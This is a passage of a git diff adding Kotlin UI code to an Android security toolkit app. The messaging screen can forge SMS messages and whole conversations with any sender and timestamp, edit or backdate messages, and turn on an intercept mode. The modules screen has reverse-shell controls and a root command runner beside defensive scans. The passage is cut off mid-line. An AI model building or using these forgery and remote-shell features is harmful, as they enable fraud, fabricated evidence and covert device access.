DiscoveryManager.ConnectionMethod, error: String) { + appendLog("${method.name}: $error") + } + } + + btnDiscover.setOnClickListener { + startDiscovery() + } + } + + private fun startDiscovery() { + setStatusDot(discoveryStatusDot, false) + discoveryStatusText.text = "Scanning network..." + discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP" + btnDiscover.isEnabled = false + btnDiscover.text = "SCANNING..." + discoveryManager?.startDiscovery() + } + + private fun probeLocalSubnet() { + Thread { + val port = PrefsManager.getWebPort(requireContext()) + + val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null") + val gateway = routeResult.stdout.split(" ").let { parts -> + val idx = parts.indexOf("via") + if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null + } + + if (gateway == null) { + handler.post { + discoveryStatusText.text = "No AUTARCH server found" + discoveryMethodText.text = "Set server IP in Settings tab" + } + return@Thread + } + + val base = gateway.substringBeforeLast(".") + "." + appendLogOnUi("Probing ${base}x on port $port...") + + val candidates = mutableListOf() + candidates.add(gateway) + for (i in 1..30) { + val ip = "$base$i" + if (ip != gateway) candidates.add(ip) + } + candidates.addAll(listOf("${base}100", "${base}200", "${base}254")) + + val savedIp = PrefsManager.getServerIp(requireContext()) + if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) { + candidates.add(0, savedIp) + } + + for (ip in candidates) { + if (probeServer(ip, port)) { + handler.post { + PrefsManager.setServerIp(requireContext(), ip) + setStatusDot(discoveryStatusDot, true) + discoveryStatusText.text = "Found: AUTARCH" + discoveryMethodText.text = "via HTTP probe ($ip)" + appendLog("Found AUTARCH at $ip:$port (HTTP)") + PrivilegeManager.setServerConnection(ip, port) + refreshServerStatus() + } + return@Thread + } + } + + handler.post { + discoveryStatusText.text = "No AUTARCH server found" + discoveryMethodText.text = "Set server IP in Settings tab" + appendLog("HTTP probe: no server found on $base* :$port") + } + }.start() + } + + private fun appendLogOnUi(msg: String) { + handler.post { appendLog(msg) } + } + + override fun onDestroyView() { + super.onDestroyView() + discoveryManager?.stopDiscovery() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/LinksFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/LinksFragment.kt new file mode 100644 index 0000000..04af047 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/LinksFragment.kt @@ -0,0 +1,61 @@ +package com.darkhal.archon.ui + +import android.content.Intent +import android.net.Uri +import android.os.Bundle +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.util.PrefsManager + +class LinksFragment : Fragment() { + + private data class LinkItem( + val cardId: Int, + val path: String + ) + + private val links = listOf( + LinkItem(R.id.card_dashboard, "/dashboard"), + LinkItem(R.id.card_wireguard, "/wireguard"), + LinkItem(R.id.card_shield, "/android-protect"), + LinkItem(R.id.card_hardware, "/hardware"), + LinkItem(R.id.card_wireshark, "/wireshark"), + LinkItem(R.id.card_osint, "/osint"), + LinkItem(R.id.card_defense, "/defense"), + LinkItem(R.id.card_offense, "/offense"), + LinkItem(R.id.card_settings, "/settings") + ) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_links, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext()) + + // Update server URL label + view.findViewById(R.id.server_url_label).text = "Server: $baseUrl" + + // Set up click listeners for all link cards + for (link in links) { + view.findViewById(link.cardId)?.setOnClickListener { + openUrl("$baseUrl${link.path}") + } + } + } + + private fun openUrl(url: String) { + val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url)) + startActivity(intent) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/MessagingFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/MessagingFragment.kt new file mode 100644 index 0000000..71e1704 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/MessagingFragment.kt @@ -0,0 +1,761 @@ +package com.darkhal.archon.ui + +import android.app.DatePickerDialog +import android.app.TimePickerDialog +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.CheckBox +import android.widget.PopupMenu +import android.widget.TextView +import android.widget.Toast +import androidx.appcompat.app.AlertDialog +import androidx.fragment.app.Fragment +import androidx.recyclerview.widget.LinearLayoutManager +import androidx.recyclerview.widget.RecyclerView +import com.darkhal.archon.R +import com.darkhal.archon.messaging.ConversationAdapter +import com.darkhal.archon.messaging.MessageAdapter +import com.darkhal.archon.messaging.MessagingModule +import com.darkhal.archon.messaging.MessagingRepository +import com.darkhal.archon.messaging.ShizukuManager +import com.darkhal.archon.module.ModuleManager +import com.google.android.material.button.MaterialButton +import com.google.android.material.card.MaterialCardView +import com.google.android.material.floatingactionbutton.FloatingActionButton +import com.google.android.material.textfield.TextInputEditText +import java.text.SimpleDateFormat +import java.util.Calendar +import java.util.Date +import java.util.Locale + +/** + * SMS/RCS Messaging tab — full messaging UI with conversation list and thread view. + * + * Two views: + * 1. Conversation list — shows all threads with contact, snippet, date, unread count + * 2. Message thread — shows messages as chat bubbles with input bar + * + * Features: + * - Search across all messages + * - Set/restore default SMS app + * - Export conversations (XML/CSV) + * - Forge messages with arbitrary sender/timestamp + * - Edit/delete messages via long-press context menu + * - Shizuku status indicator + */ +class MessagingFragment : Fragment() { + + // Views — Conversation list + private lateinit var conversationListContainer: View + private lateinit var recyclerConversations: RecyclerView + private lateinit var emptyState: TextView + private lateinit var shizukuDot: View + private lateinit var btnSearch: MaterialButton + private lateinit var btnDefaultSms: MaterialButton + private lateinit var btnTools: MaterialButton + private lateinit var searchBar: View + private lateinit var inputSearch: TextInputEditText + private lateinit var btnSearchGo: MaterialButton + private lateinit var btnSearchClose: MaterialButton + private lateinit var fabNewMessage: FloatingActionButton + + // Views — Thread + private lateinit var threadViewContainer: View + private lateinit var recyclerMessages: RecyclerView + private lateinit var threadContactName: TextView + private lateinit var threadAddress: TextView + private lateinit var btnBack: MaterialButton + private lateinit var btnThreadExport: MaterialButton + private lateinit var inputMessage: TextInputEditText + private lateinit var btnSend: MaterialButton + + // Views — Output log + private lateinit var outputLogCard: MaterialCardView + private lateinit var outputLog: TextView + private lateinit var btnCloseLog: MaterialButton + + // Data + private lateinit var repo: MessagingRepository + private lateinit var shizuku: ShizukuManager + private lateinit var conversationAdapter: ConversationAdapter + private lateinit var messageAdapter: MessageAdapter + private val handler = Handler(Looper.getMainLooper()) + + // State + private var currentThreadId: Long = -1 + private var currentAddress: String = "" + private var isDefaultSms: Boolean = false + + // Forge dialog state + private var forgeCalendar: Calendar = Calendar.getInstance() + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_messaging, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + repo = MessagingRepository(requireContext()) + shizuku = ShizukuManager(requireContext()) + + bindViews(view) + setupConversationList() + setupThreadView() + setupSearch() + setupToolbar() + setupOutputLog() + + // Load conversations + loadConversations() + + // Check Shizuku status + refreshShizukuStatus() + } + + // ── View binding ─────────────────────────────────────────────── + + private fun bindViews(view: View) { + // Conversation list + conversationListContainer = view.findViewById(R.id.conversation_list_container) + recyclerConversations = view.findViewById(R.id.recycler_conversations) + emptyState = view.findViewById(R.id.empty_state) + shizukuDot = view.findViewById(R.id.shizuku_status_dot) + btnSearch = view.findViewById(R.id.btn_search) + btnDefaultSms = view.findViewById(R.id.btn_default_sms) + btnTools = view.findViewById(R.id.btn_tools) + searchBar = view.findViewById(R.id.search_bar) + inputSearch = view.findViewById(R.id.input_search) + btnSearchGo = view.findViewById(R.id.btn_search_go) + btnSearchClose = view.findViewById(R.id.btn_search_close) + fabNewMessage = view.findViewById(R.id.fab_new_message) + + // Thread view + threadViewContainer = view.findViewById(R.id.thread_view_container) + recyclerMessages = view.findViewById(R.id.recycler_messages) + threadContactName = view.findViewById(R.id.thread_contact_name) + threadAddress = view.findViewById(R.id.thread_address) + btnBack = view.findViewById(R.id.btn_back) + btnThreadExport = view.findViewById(R.id.btn_thread_export) + inputMessage = view.findViewById(R.id.input_message) + btnSend = view.findViewById(R.id.btn_send) + + // Output log + outputLogCard = view.findViewById(R.id.output_log_card) + outputLog = view.findViewById(R.id.messaging_output_log) + btnCloseLog = view.findViewById(R.id.btn_close_log) + } + + // ── Conversation list ────────────────────────────────────────── + + private fun setupConversationList() { + conversationAdapter = ConversationAdapter(mutableListOf()) { conversation -> + openThread(conversation) + } + + recyclerConversations.apply { + layoutManager = LinearLayoutManager(requireContext()) + adapter = conversationAdapter + } + + fabNewMessage.setOnClickListener { + showForgeMessageDialog() + } + } + + private fun loadConversations() { + Thread { + val conversations = repo.getConversations() + handler.post { + conversationAdapter.updateData(conversations) + if (conversations.isEmpty()) { + emptyState.visibility = View.VISIBLE + recyclerConversations.visibility = View.GONE + } else { + emptyState.visibility = View.GONE + recyclerConversations.visibility = View.VISIBLE + } + } + }.start() + } + + // ── Thread view ──────────────────────────────────────────────── + + private fun setupThreadView() { + messageAdapter = MessageAdapter(mutableListOf()) { message -> + showMessageContextMenu(message) + } + + recyclerMessages.apply { + layoutManager = LinearLayoutManager(requireContext()).apply { + stackFromEnd = true + } + adapter = messageAdapter + } + + btnBack.setOnClickListener { + closeThread() + } + + btnSend.setOnClickListener { + sendMessage() + } + + btnThreadExport.setOnClickListener { + exportCurrentThread() + } + } + + private fun openThread(conversation: MessagingRepository.Conversation) { + currentThreadId = conversation.threadId + currentAddress = conversation.address + + val displayName = conversation.contactName ?: conversation.address + threadContactName.text = displayName + threadAddress.text = if (conversation.contactName != null) conversation.address else "" + + // Mark as read + Thread { + repo.markAsRead(conversation.threadId) + }.start() + + // Load messages + loadMessages(conversation.threadId) + + // Switch views + conversationListContainer.visibility = View.GONE + threadViewContainer.visibility = View.VISIBLE + } + + private fun closeThread() { + currentThreadId = -1 + currentAddress = "" + + threadViewContainer.visibility = View.GONE + conversationListContainer.visibility = View.VISIBLE + + // Refresh conversations to update unread counts + loadConversations() + } + + private fun loadMessages(threadId: Long) { + Thread { + val messages = repo.getMessages(threadId) + handler.post { + messageAdapter.updateData(messages) + // Scroll to bottom + if (messages.isNotEmpty()) { + recyclerMessages.scrollToPosition(messages.size - 1) + } + } + }.start() + } + + private fun sendMessage() { + val body = inputMessage.text?.toString()?.trim() ?: return + if (body.isEmpty()) return + + inputMessage.setText("") + + Thread { + val success = repo.sendSms(currentAddress, body) + handler.post { + if (success) { + // Reload messages to show the sent message + loadMessages(currentThreadId) + } else { + // If we can't send (not default SMS), try forge as sent + val id = repo.forgeMessage( + currentAddress, body, + MessagingRepository.MESSAGE_TYPE_SENT, + System.currentTimeMillis(), read = true + ) + if (id >= 0) { + loadMessages(currentThreadId) + appendLog("Message inserted (forge mode — not actually sent)") + } else { + appendLog("Failed to send/insert — need default SMS app role") + Toast.makeText(requireContext(), + "Cannot send — set as default SMS app first", + Toast.LENGTH_SHORT).show() + } + } + } + }.start() + } + + private fun exportCurrentThread() { + if (currentThreadId < 0) return + + Thread { + val result = ModuleManager.executeAction("messaging", "export_thread:$currentThreadId", requireContext()) + handler.post { + appendLog(result.output) + for (detail in result.details) { + appendLog(" $detail") + } + showOutputLog() + } + }.start() + } + + // ── Search ───────────────────────────────────────────────────── + + private fun setupSearch() { + btnSearch.setOnClickListener { + if (searchBar.visibility == View.VISIBLE) { + searchBar.visibility = View.GONE + } else { + searchBar.visibility = View.VISIBLE + inputSearch.requestFocus() + } + } + + btnSearchGo.setOnClickListener { + val query = inputSearch.text?.toString()?.trim() ?: "" + if (query.isNotEmpty()) { + performSearch(query) + } + } + + btnSearchClose.setOnClickListener { + searchBar.visibility = View.GONE + inputSearch.setText("") + loadConversations() + } + } + + private fun performSearch(query: String) { + Thread { + val results = repo.searchMessages(query) + handler.post { + if (results.isEmpty()) { + appendLog("No results for '$query'") + showOutputLog() + } else { + // Group results by thread and show as conversations + val threadGroups = results.groupBy { it.threadId } + val conversations = threadGroups.map { (threadId, msgs) -> + val first = msgs.first() + MessagingRepository.Conversation( + threadId = threadId, + address = first.address, + snippet = "[${msgs.size} matches] ${first.body.take(40)}", + date = first.date, + messageCount = msgs.size, + unreadCount = 0, + contactName = first.contactName + ) + }.sortedByDescending { it.date } + + conversationAdapter.updateData(conversations) + emptyState.visibility = View.GONE + recyclerConversations.visibility = View.VISIBLE + appendLog("Found ${results.size} messages in ${conversations.size} threads") + } + } + }.start() + } + + // ── Toolbar actions ──────────────────────────────────────────── + + private fun setupToolbar() { + btnDefaultSms.setOnClickListener { + toggleDefaultSms() + } + + btnTools.setOnClickListener { anchor -> + showToolsMenu(anchor) + } + } + + private fun toggleDefaultSms() { + Thread { + if (!isDefaultSms) { + val result = ModuleManager.executeAction("messaging", "become_default", requireContext()) + handler.post { + if (result.success) { + isDefaultSms = true + btnDefaultSms.text = getString(R.string.messaging_restore_default) + appendLog("Archon is now default SMS app") + } else { + appendLog("Failed: ${result.output}") + } + showOutputLog() + } + } else { + val result = ModuleManager.executeAction("messaging", "restore_default", requireContext()) + handler.post { + if (result.success) { + isDefaultSms = false + btnDefaultSms.text = getString(R.string.messaging_become_default) + appendLog("Default SMS app restored") + } else { + appendLog("Failed: ${result.output}") + } + showOutputLog() + } + } + }.start() + } + + private fun showToolsMenu(anchor: View) { + val popup = PopupMenu(requireContext(), anchor) + popup.menu.add(0, 1, 0, "Export All Messages") + popup.menu.add(0, 2, 1, "Forge Message") + popup.menu.add(0, 3, 2, "Forge Conversation") + popup.menu.add(0, 4, 3, "RCS Status") + popup.menu.add(0, 5, 4, "Shizuku Status") + popup.menu.add(0, 6, 5, "Intercept Mode ON") + popup.menu.add(0, 7, 6, "Intercept Mode OFF") + + popup.setOnMenuItemClickListener { item -> + when (item.itemId) { + 1 -> executeModuleAction("export_all") + 2 -> showForgeMessageDialog() + 3 -> showForgeConversationDialog() + 4 -> executeModuleAction("rcs_status") + 5 -> executeModuleAction("shizuku_status") + 6 -> executeModuleAction("intercept_mode:on") + 7 -> executeModuleAction("intercept_mode:off") + } + true + } + + popup.show() + } + + private fun executeModuleAction(actionId: String) { + appendLog("Running: $actionId...") + showOutputLog() + + Thread { + val result = ModuleManager.executeAction("messaging", actionId, requireContext()) + handler.post { + appendLog(result.output) + for (detail in result.details.take(20)) { + appendLog(" $detail") + } + } + }.start() + } + + // ── Shizuku status ───────────────────────────────────────────── + + private fun refreshShizukuStatus() { + Thread { + val ready = shizuku.isReady() + handler.post { + setStatusDot(shizukuDot, ready) + } + }.start() + } + + private fun setStatusDot(dot: View, online: Boolean) { + val drawable = GradientDrawable() + drawable.shape = GradientDrawable.OVAL + drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666")) + dot.background = drawable + } + + // ── Message context menu (long-press) ────────────────────────── + + private fun showMessageContextMenu(message: MessagingRepository.Message) { + val items = arrayOf( + "Copy", + "Edit Body", + "Delete", + "Change Timestamp", + "Spoof Read Status", + "Forward (Forge)" + ) + + AlertDialog.Builder(requireContext()) + .setTitle("Message Options") + .setItems(items) { _, which -> + when (which) { + 0 -> copyMessage(message) + 1 -> editMessageBody(message) + 2 -> deleteMessage(message) + 3 -> changeTimestamp(message) + 4 -> spoofReadStatus(message) + 5 -> forwardAsForge(message) + } + } + .show() + } + + private fun copyMessage(message: MessagingRepository.Message) { + val clipboard = requireContext().getSystemService(android.content.ClipboardManager::class.java) + val clip = android.content.ClipData.newPlainText("sms", message.body) + clipboard?.setPrimaryClip(clip) + Toast.makeText(requireContext(), "Copied to clipboard", Toast.LENGTH_SHORT).show() + } + + private fun editMessageBody(message: MessagingRepository.Message) { + val input = TextInputEditText(requireContext()).apply { + setText(message.body) + setTextColor(resources.getColor(R.color.text_primary, null)) + setBackgroundColor(resources.getColor(R.color.surface_dark, null)) + setPadding(32, 24, 32, 24) + } + + AlertDialog.Builder(requireContext()) + .setTitle("Edit Message Body") + .setView(input) + .setPositiveButton("Save") { _, _ -> + val newBody = input.text?.toString() ?: return@setPositiveButton + Thread { + val success = repo.updateMessage(message.id, body = newBody, type = null, date = null, read = null) + handler.post { + if (success) { + appendLog("Updated message ${message.id}") + loadMessages(currentThreadId) + } else { + appendLog("Failed to update — need default SMS app role") + } + showOutputLog() + } + }.start() + } + .setNegativeButton("Cancel", null) + .show() + } + + private fun deleteMessage(message: MessagingRepository.Message) { + AlertDialog.Builder(requireContext()) + .setTitle("Delete Message") + .setMessage("Delete this message permanently?\n\n\"${message.body.take(60)}\"") + .setPositiveButton("Delete") { _, _ -> + Thread { + val success = repo.deleteMessage(message.id) + handler.post { + if (success) { + appendLog("Deleted message ${message.id}") + loadMessages(currentThreadId) + } else { + appendLog("Failed to delete — need default SMS app role") + } + showOutputLog() + } + }.start() + } + .setNegativeButton("Cancel", null) + .show() + } + + private fun changeTimestamp(message: MessagingRepository.Message) { + val cal = Calendar.getInstance() + cal.timeInMillis = message.date + + DatePickerDialog(requireContext(), { _, year, month, day -> + TimePickerDialog(requireContext(), { _, hour, minute -> + cal.set(year, month, day, hour, minute) + val newDate = cal.timeInMillis + + Thread { + val success = repo.updateMessage(message.id, body = null, type = null, date = newDate, read = null) + handler.post { + if (success) { + val fmt = SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.US) + appendLog("Changed timestamp to ${fmt.format(Date(newDate))}") + loadMessages(currentThreadId) + } else { + appendLog("Failed to change timestamp") + } + showOutputLog() + } + }.start() + }, cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), true).show() + }, cal.get(Calendar.YEAR), cal.get(Calendar.MONTH), cal.get(Calendar.DAY_OF_MONTH)).show() + } + + private fun spoofReadStatus(message: MessagingRepository.Message) { + val items = arrayOf("Mark as Read", "Mark as Unread") + AlertDialog.Builder(requireContext()) + .setTitle("Read Status") + .setItems(items) { _, which -> + val newRead = which == 0 + Thread { + val success = repo.updateMessage(message.id, body = null, type = null, date = null, read = newRead) + handler.post { + if (success) { + appendLog("Set read=${newRead} for message ${message.id}") + loadMessages(currentThreadId) + } else { + appendLog("Failed to update read status") + } + showOutputLog() + } + }.start() + } + .show() + } + + private fun forwardAsForge(message: MessagingRepository.Message) { + // Pre-fill the forge dialog with this message's body + showForgeMessageDialog(prefillBody = message.body) + } + + // ── Forge dialogs ────────────────────────────────────────────── + + private fun showForgeMessageDialog(prefillBody: String? = null) { + val dialogView = LayoutInflater.from(requireContext()) + .inflate(R.layout.dialog_forge_message, null) + + val forgeAddress = dialogView.findViewById(R.id.forge_address) + val forgeContactName = dialogView.findViewById(R.id.forge_contact_name) + val forgeBody = dialogView.findViewById(R.id.forge_body) + val forgeTypeReceived = dialogView.findViewById(R.id.forge_type_received) + val forgeTypeSent = dialogView.findViewById(R.id.forge_type_sent) + val forgePickDate = dialogView.findViewById(R.id.forge_pick_date) + val forgePickTime = dialogView.findViewById(R.id.forge_pick_time) + val forgeReadStatus = dialogView.findViewById(R.id.forge_read_status) + + prefillBody?.let { forgeBody.setText(it) } + + // If we're in a thread, prefill the address + if (currentAddress.isNotEmpty()) { + forgeAddress.setText(currentAddress) + } + + // Direction toggle + var selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED + forgeTypeReceived.setOnClickListener { + selectedType = MessagingRepository.MESSAGE_TYPE_RECEIVED + forgeTypeReceived.tag = "selected" + forgeTypeSent.tag = null + } + forgeTypeSent.setOnClickListener { + selectedType = MessagingRepository.MESSAGE_TYPE_SENT + forgeTypeSent.tag = "selected" + forgeTypeReceived.tag = null + } + + // Date/time pickers + forgeCalendar = Calendar.getInstance() + val dateFormat = SimpleDateFormat("MMM dd, yyyy", Locale.US) + val timeFormat = SimpleDateFormat("HH:mm", Locale.US) + forgePickDate.text = dateFormat.format(forgeCalendar.time) + forgePickTime.text = timeFormat.format(forgeCalendar.time) + + forgePickDate.setOnClickListener { + DatePickerDialog(requireContext(), { _, year, month, day -> + forgeCalendar.set(Calendar.YEAR, year) + forgeCalendar.set(Calendar.MONTH, month) + forgeCalendar.set(Calendar.DAY_OF_MONTH, day) + forgePickDate.text = dateFormat.format(forgeCalendar.time) + }, forgeCalendar.get(Calendar.YEAR), forgeCalendar.get(Calendar.MONTH), + forgeCalendar.get(Calendar.DAY_OF_MONTH)).show() + } + + forgePickTime.setOnClickListener { + TimePickerDialog(requireContext(), { _, hour, minute -> + forgeCalendar.set(Calendar.HOUR_OF_DAY, hour) + forgeCalendar.set(Calendar.MINUTE, minute) + forgePickTime.text = timeFormat.format(forgeCalendar.time) + }, forgeCalendar.get(Calendar.HOUR_OF_DAY), forgeCalendar.get(Calendar.MINUTE), true).show() + } + + AlertDialog.Builder(requireContext()) + .setView(dialogView) + .setPositiveButton("Forge") { _, _ -> + val address = forgeAddress.text?.toString()?.trim() ?: "" + val contactName = forgeContactName.text?.toString()?.trim() + val body = forgeBody.text?.toString()?.trim() ?: "" + val read = forgeReadStatus.isChecked + val date = forgeCalendar.timeInMillis + + if (address.isEmpty() || body.isEmpty()) { + Toast.makeText(requireContext(), "Address and body required", Toast.LENGTH_SHORT).show() + return@setPositiveButton + } + + Thread { + val id = repo.forgeMessage( + address = address, + body = body, + type = selectedType, + date = date, + contactName = contactName, + read = read + ) + handler.post { + if (id >= 0) { + val direction = if (selectedType == 1) "received" else "sent" + appendLog("Forged $direction message id=$id to $address") + showOutputLog() + + // Refresh view + if (currentThreadId > 0) { + loadMessages(currentThreadId) + } else { + loadConversations() + } + } else { + appendLog("Forge failed — need default SMS app role") + showOutputLog() + } + } + }.start() + } + .setNegativeButton("Cancel", null) + .show() + } + + private fun showForgeConversationDialog() { + val input = TextInputEditText(requireContext()).apply { + hint = "Phone number (e.g. +15551234567)" + setTextColor(resources.getColor(R.color.text_primary, null)) + setHintTextColor(resources.getColor(R.color.text_muted, null)) + setBackgroundColor(resources.getColor(R.color.surface_dark, null)) + setPadding(32, 24, 32, 24) + inputType = android.text.InputType.TYPE_CLASS_PHONE + } + + AlertDialog.Builder(requireContext()) + .setTitle("Forge Conversation") + .setMessage("Create a fake conversation with back-and-forth messages from this number:") + .setView(input) + .setPositiveButton("Forge") { _, _ -> + val address = input.text?.toString()?.trim() ?: "" + if (address.isEmpty()) { + Toast.makeText(requireContext(), "Phone number required", Toast.LENGTH_SHORT).show() + return@setPositiveButton + } + executeModuleAction("forge_conversation:$address") + // Refresh after a short delay for the inserts to complete + handler.postDelayed({ loadConversations() }, 2000) + } + .setNegativeButton("Cancel", null) + .show() + } + + // ── Output log ───────────────────────────────────────────────── + + private fun setupOutputLog() { + btnCloseLog.setOnClickListener { + outputLogCard.visibility = View.GONE + } + } + + private fun showOutputLog() { + outputLogCard.visibility = View.VISIBLE + } + + private fun appendLog(msg: String) { + val current = outputLog.text.toString() + val lines = current.split("\n").takeLast(30) + outputLog.text = (lines + "> $msg").joinToString("\n") + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ModulesFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ModulesFragment.kt new file mode 100644 index 0000000..0b751d4 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ModulesFragment.kt @@ -0,0 +1,306 @@ +package com.darkhal.archon.ui + +import android.content.Context +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.appcompat.app.AlertDialog +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.module.ModuleManager +import com.darkhal.archon.module.ReverseShellModule +import com.darkhal.archon.server.ArchonClient +import com.darkhal.archon.util.PrivilegeManager +import com.google.android.material.button.MaterialButton +import com.google.android.material.textfield.TextInputEditText + +class ModulesFragment : Fragment() { + + private lateinit var serverStatusDot: View + private lateinit var serverStatusText: TextView + private lateinit var archonStatusDot: View + private lateinit var archonInfoText: TextView + private lateinit var archonUidText: TextView + private lateinit var inputArchonCmd: TextInputEditText + private lateinit var shieldStatusDot: View + private lateinit var shieldStatusText: TextView + private lateinit var honeypotStatusDot: View + private lateinit var honeypotStatusText: TextView + private lateinit var revshellStatusDot: View + private lateinit var revshellStatusText: TextView + private lateinit var outputLog: TextView + + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_modules, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + // Bind views + serverStatusDot = view.findViewById(R.id.server_status_dot) + serverStatusText = view.findViewById(R.id.server_status_text) + archonStatusDot = view.findViewById(R.id.archon_status_dot) + archonInfoText = view.findViewById(R.id.archon_info_text) + archonUidText = view.findViewById(R.id.archon_uid_text) + inputArchonCmd = view.findViewById(R.id.input_archon_cmd) + shieldStatusDot = view.findViewById(R.id.shield_status_dot) + shieldStatusText = view.findViewById(R.id.shield_status_text) + honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot) + honeypotStatusText = view.findViewById(R.id.honeypot_status_text) + revshellStatusDot = view.findViewById(R.id.revshell_status_dot) + revshellStatusText = view.findViewById(R.id.revshell_status_text) + outputLog = view.findViewById(R.id.modules_output_log) + + // Archon Server buttons + view.findViewById(R.id.btn_archon_run).setOnClickListener { + val cmd = inputArchonCmd.text?.toString()?.trim() ?: "" + if (cmd.isEmpty()) { + appendLog("Enter a command to run") + return@setOnClickListener + } + runArchonCommand(cmd) + } + + view.findViewById(R.id.btn_archon_info).setOnClickListener { + appendLog("Querying server info...") + Thread { + val info = ArchonClient.getServerInfo(requireContext()) + handler.post { + if (info != null) { + appendLog("Archon: $info") + archonInfoText.text = "Info: $info" + } else { + appendLog("Archon Server not running") + archonInfoText.text = "Status: not running" + } + } + }.start() + } + + view.findViewById(R.id.btn_archon_ping).setOnClickListener { + Thread { + val running = ArchonClient.isServerRunning(requireContext()) + handler.post { + setStatusDot(archonStatusDot, running) + appendLog(if (running) "Archon: pong" else "Archon: no response") + } + }.start() + } + + view.findViewById(R.id.btn_archon_packages).setOnClickListener { + runArchonCommand("pm list packages -3") + } + + // Shield buttons + view.findViewById(R.id.btn_shield_full_scan).setOnClickListener { + runModuleAction("shield", "full_scan", "Full Scan") + } + view.findViewById(R.id.btn_shield_scan_packages).setOnClickListener { + runModuleAction("shield", "scan_packages", "Package Scan") + } + view.findViewById(R.id.btn_shield_scan_admins).setOnClickListener { + runModuleAction("shield", "scan_device_admins", "Device Admin Scan") + } + view.findViewById(R.id.btn_shield_scan_certs).setOnClickListener { + runModuleAction("shield", "scan_certificates", "Certificate Scan") + } + view.findViewById(R.id.btn_shield_scan_network).setOnClickListener { + runModuleAction("shield", "scan_network", "Network Scan") + } + + // Honeypot buttons + view.findViewById(R.id.btn_honeypot_harden).setOnClickListener { + runModuleAction("honeypot", "harden_all", "Harden All") + } + view.findViewById(R.id.btn_honeypot_reset_ad).setOnClickListener { + runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID") + } + view.findViewById(R.id.btn_honeypot_dns).setOnClickListener { + runModuleAction("honeypot", "set_private_dns", "Private DNS") + } + view.findViewById(R.id.btn_honeypot_restrict).setOnClickListener { + runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers") + } + view.findViewById(R.id.btn_honeypot_revoke).setOnClickListener { + runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms") + } + + // Reverse Shell buttons + view.findViewById(R.id.btn_revshell_enable).setOnClickListener { + showRevshellWarnings(0) + } + view.findViewById(R.id.btn_revshell_disable).setOnClickListener { + runModuleAction("revshell", "disable", "Disable") + } + view.findViewById(R.id.btn_revshell_connect).setOnClickListener { + runModuleAction("revshell", "connect", "Connect") + } + view.findViewById(R.id.btn_revshell_disconnect).setOnClickListener { + runModuleAction("revshell", "disconnect", "Disconnect") + } + view.findViewById(R.id.btn_revshell_status).setOnClickListener { + runModuleAction("revshell", "status", "Status") + } + + // Initialize status + refreshStatus() + } + + private fun refreshStatus() { + Thread { + val method = PrivilegeManager.getAvailableMethod() + val archonRunning = ArchonClient.isServerRunning(requireContext()) + val serverInfo = if (archonRunning) { + ArchonClient.getServerInfo(requireContext()) ?: "running" + } else { + null + } + + val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext()) + val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext()) + val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext()) + + handler.post { + // Server status + val serverActive = method != PrivilegeManager.Method.NONE + setStatusDot(serverStatusDot, serverActive) + serverStatusText.text = when (method) { + PrivilegeManager.Method.ROOT -> "Privilege: Root (su)" + PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server" + PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB" + PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote" + PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first" + } + + // Archon Server status + setStatusDot(archonStatusDot, archonRunning) + archonInfoText.text = if (archonRunning) { + "Status: Running ($serverInfo)" + } else { + "Status: Not running — start in Setup tab" + } + + // Module status + setStatusDot(shieldStatusDot, shieldStatus?.active == true) + shieldStatusText.text = "Last: 